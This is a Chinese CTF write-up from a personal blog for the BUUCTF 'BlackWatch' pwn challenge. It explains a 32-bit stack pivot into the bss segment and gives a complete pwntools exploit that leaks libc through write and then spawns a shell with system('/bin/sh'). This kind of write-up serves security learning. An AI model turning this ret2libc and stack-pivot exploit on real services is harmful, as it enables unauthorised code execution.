【WP】BUUCTF之【BlackWatch入群题】PWN
栈迁移
题目描述
查看保护
IDA看代码

发现存在两处读入
第一处往s处读入0x200字节(s位于bss段,可写)
第二处往buf处读入0x20字节
发现buf的空间为0x18,读入0x20,则存在溢出,但最多溢出0x20-0x18=8字节
程序为32位,所以最多只能覆盖ebp和返回地址
于是需要利用栈迁移
注意:
- 由于函数结束退栈时有一次leave,ret的操作,我们为了达到栈迁移的目的又进行了一次leave,ret。所以需要覆盖ebp为想覆盖的地址-4,在这里即覆盖为bss_addr-4(或者在布栈时一开始用四字节垃圾数据填充)
exp
(leave==>mov esp,ebp; pop ebp)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34from pwn import*
from LibcSearcher import*
context(os='linux', arch='i386', log_level='debug')
#r = remote("node3.buuoj.cn", 27677)
r = process('./spwn')
elf = ELF('./spwn')
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
bss_addr = 0x0804A300
leave_ret = 0x08048511
payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)
payload2 = 'a'*0x18 + p32(bss_addr-4) + p32(leave_ret)
r.recvuntil("What do you want to say?")
r.send(payload2)
write_addr = u32(r.recv(4))
print ('[+]write_addr: ',hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
r.recvuntil("What is your name?")
payload3 = p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
r.sendline(payload3)
r.recvuntil("What do you want to say?")
r.sendline(payload2)
r.interactive()
(ret==>pop eip)
分析一下 - 第一次读入时往bss段上读入指令,把bss段作为栈布局
- 第二次读入时通过栈溢出覆盖ebp为bss_addr-4,将返回地址覆盖成leave,ret指令地址
- 程序在退栈时首先把bss_addr-4存到ebp中,并返回执行leave,ret
- leave,ret指令会先把ebp的值赋给esp,此时ebp,esp都指向了bss_addr-4这个地址
- 接下来pop ebp,即把bss_addr-4的内容弹出存入ebp(不重要)
- 最后执行pop eip,把bss_addr的内容弹出存入eip
- 这样一来bss段就作为栈来执行了,后续就是传统的ret2libc3
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 aYoung's Blog!
评论




